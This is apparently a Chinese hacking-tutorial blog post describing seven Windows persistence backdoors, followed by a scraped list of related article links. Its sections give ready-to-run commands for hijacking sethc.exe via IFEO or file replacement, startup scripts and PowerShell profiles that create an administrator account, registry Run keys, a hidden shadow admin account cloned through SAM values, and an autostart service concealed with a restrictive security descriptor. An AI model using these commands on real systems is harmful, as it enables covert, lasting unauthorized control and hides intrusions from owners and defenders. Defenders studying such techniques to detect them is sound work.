零基础学黑客,搜索公众号:白帽子左一

1.映像劫持技术

简介
“映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。

当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。

出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。

简单点说,当你打开的是程序A,而运行的却是程序B。

复现
执行命令,将cmd.exe程序劫持粘滞键。

REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe” /v Debugger /t REG_SZ /d “C:\windows\system32\cmd.exe”

连续按5次shift键之后,目标系统弹出cmd.exe,并不是之前的粘滞键界面

图片

2.策略组脚本维持

简介
Windows操作系统的组策略是配置计算机中某一些用户组策略的程序,由系统管理员操作控制计算机程序、访问网络资源、操作行为、各种软件设置的最主要工具。

复现
第一步:准备一个bat脚本,内容为:net user qiesi abc123… /add & net localgroup administrators qiesi /add ;

并将脚本放到C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup中

第二步:【gpedit.msc】打开组策略,在 【windows 设置】-> 【脚本(启动/关机】-> 启动 -> 添加1.bat。

这样的话,每一次启动都会创建一个qiesi账户。

第三步:重启服务器

3.辅助功能之粘滞键

简介
辅助功能提供了其他选项(屏幕键盘、放大镜、屏幕阅读),可以帮助人更轻松地使用Windows操作系统,但是此功能可能会被滥用,以在已启用RDP且已获得管理员级别权限的主机上实现持久性。

复现
第一步:将sethc.exe拥有者改为administrator。

第二步:输入命令

move C:\windows\system32\sethc.exe C:\windows\system32\sethc1.exe
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe

第三步:连续按5次shift

最后,除了shift之外,还有以下这些也可以尝试

4.注册表自启动

简介
注册表是windows操作系统中的一个核心数据库,其中存放着各种参数,直接控制着windows的启动、硬件驱动程序的装载以及一些windows应用程序的运行,从而在整个系统中起着核心作用。

这些作用包括了软、硬件的相关配置和状态信息,比如注册表中保存有应用程序和资源管理器外壳的初始条件、首选项和卸载数据等,联网计算机的整个系统的设置和各种许可,文件扩展名与应用程序的关联,硬件部件的描述、状态和属性,性能记录和其他底层的系统状态信息,以及其他数据等。

复现
第一步:输入命令

reg add “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” /v “test2” /t REG_SZ /d “C:\Windows\System32\notepad.exe” /f

第二步:重启服务器,自动会打开notepad.exe

5.powershell配置文件后门

简介
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。

Powershell配置文件其实就是一个powershell脚本,他可以在每次运行powershell的时候自动运行,所以可以通过向该文件写入自定义的语句用来长期维持权限。

复现
第一步:准备1.bat脚本,内容为:net user qiesi abc123… /add & net localgroup administrators qiesi /add

第二步:打开Windows PowerShell ,输入以下命令

echo $profile # 查看当前是否存在配置文件。

Test-path $profile # 如果返回Flase 则可以进行配置

New-Item -Path $profile -Type File –Force # 创建配置文件

$string = ‘Start-Process “C:\1.bat”’

$string | Out-File -FilePath $profile -Append

more $profile # 查看文件

第三步:重新打开powershell就会自动执行

6.建立影子账号

简介
影子账户,顾名思义就是隐藏的账户,在“控制面板-用户账户”里面是看不见,但却有管理员权限的账户

复现
第一步:创建一个带$符号的账户。

第二步:打开注册表

HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User。

将管理员对应的F项的值,复制粘贴到qiesi$用户的对应F项的值。

第三步:导出用户及对应的项的注册表文件,删除掉用户。

第四步:重新导入,双击reg文件即可。

第五步:登陆目标服务器,利用影子账号。

首先,管理账户中并没有qiesi$账户

远程登陆

7.利用安全描述符隐藏服务后门进行权限维持

简介
windows访问控制模型分为两部分:1.access token(访问令牌)。2.安全描述符。安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。可以利用sc来进行创建。

复现
第一步:cmd创建自启动服务

sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Windows\System32\notepad.exe" depend= Tcpip obj= Localsystem start= auto

第二步:隐藏服务

sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"


Windows常见的几种权限维持相关推荐

  1. windows常见后门隐藏和权限维持方法及排查技术

    https://xz.aliyun.com/t/4842 这片文章中隐藏webshell我觉得很nice ... 进程注入以前试过 ... wmi 和 bitsadmin 可以了解下 ... 常见ba ...

  2. Windows常见的几种提权方法

    零基础学黑客,搜索公众号:白帽子左一 作者:掌控安全-杰斯 提权,提高自己在服务器中的权限,主要针对网站渗透过程中,当渗透某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限,通常提权是 ...

  3. 权限控制最常见的五种方法

    涉及到权限的问题往往是都是复杂的问题,在系统权限控制方面,我们经常会参照现成的案例来设计自己的权限控制,以下就是最常见的几种权限控制的方法 1. 控制系统的登录 在用户状态上加状态控制,可用的用户就可 ...

  4. 计算机常用的四种加密方法,电脑常见的几种加密方法

    电脑常见的几种加密方法 加密可以用于保证安全性, 但是其它一些技术在保障通信安全方面仍然是必须的,尤其是关于数据完整性和信息验证;例如,信息验证码(MAC)或者数字签名.另一方面的考虑是为了应付流量分 ...

  5. 【Linux 从入门到精通】第一篇 常见指令及初识权限

    目录 1.登录云服务器 2.用户管理 重要的热键与命令 3.Linux下基本指令 3.1 ls 指令(list files) 3.2 cd 指令(change directory) 3.3 touch ...

  6. Mysql常见的几种安装失败的问题:

    因很多同学安装mysql总是出问题,然后总结了几个常见的安装失败的问题(并且博客中有安装教程): Mysql常见的几种安装失败的问题: 首先这是最常见的问题: 一.解决安装mysql时出现 " ...

  7. windows socket编程五种模型

    客户端:创建套接字,连接服务器,然后不停的发送和接收数据. 比较容易想到的一种服务器模型就是采用一个主线程,负责监听客户端的连接请求,当接收到某个客户端的连接请求后,创建一个专门用于和该客户端通信的套 ...

  8. WCF中常见的几种Host,承载WCF服务的方法详解

    1:写在前面 我们都知道WCF在运行的时候必须自己提供宿主来承载服务.WCF 本身没有附带宿主,而是提供了一个 ServiceHost 的类,该类允许您在自己的应用程序中host WCF 服务.然后调 ...

  9. java runtime shell_java Runtime.exec()执行shell/cmd命令:常见的几种陷阱与一种完善实现...

    Runtime.getRuntime().exec()执行JVM之外的程序:常见的几种陷阱 前言 日常java开发中,有时需要通过java运行其它应用功程序,比如shell命令等.jdk的Runtim ...

  10. 爆破专栏丨Spring Security系列教程之Spring Security的四种权限控制方式

    原创:一一哥 前言: 在前面的章节中,一一哥 已经给大家介绍了Spring Security的很多功能,在这些众多功能中,我们知道其核心功能其实就是认证+授权. 在前面我们分别基于内存模型.基于默认的 ...

最新文章

  1. 学习笔记#Android Studio 从安装到虚拟机启动
  2. 【MM配置】Movement Type 移动类型创建
  3. 机器人学习--室内定位方法综述
  4. springboot整合视图层Thymeleaf、freemarker
  5. 建立ssh无密码登录环境
  6. “约见”面试官系列之常见面试题第三十九篇之异步更新队列-$nextTick(建议收藏)
  7. 探讨 | 深入探讨Redis管道
  8. hnu 暑期实训之回文串
  9. 5G模块M.2座子管脚和封装分析
  10. 论文绘图-教你如何绘制响应面
  11. V for vendetta
  12. Nature综述:宏基因组时代的病毒分类
  13. 深度学习七:GAN和DCGAN入门
  14. R报错:caret包与InformationValue包在绘制confusionmatrix时遇到的问题
  15. 软件类大学生求职就业攻略(一)
  16. linux php环境搭建教程,linux php环境搭建教程
  17. 虚拟直播与光学动作捕捉技术
  18. 最好用的便笺免费下载及教程
  19. PHP数据类型、PHP声明和PHP变量
  20. 视频教程-Layer 弹窗入门-jQuery

热门文章

  1. dell服务器uefi启动u盘安装系统,uefi启动u盘安装系统怎么装|uefi u盘启动装系统步骤...
  2. c语言汇编混合编译不了,IAR汇编与C语言混合编程的问题(内附源程序)
  3. promise .then和async await的使用
  4. 计算机进去bios方式,bios怎么轻松进入?电脑进入bios方法大全
  5. 怎么使用outlook发送邮件?outlook群发邮件怎么撤回?
  6. 不同范数下的余弦定理_平行四边形的认识视频
  7. 高德地图—js.api
  8. 统计学习方法第一章:概述
  9. Pyqt walk 在Windows查找文件
  10. [Mac] OSX 快捷键组合 (完整版)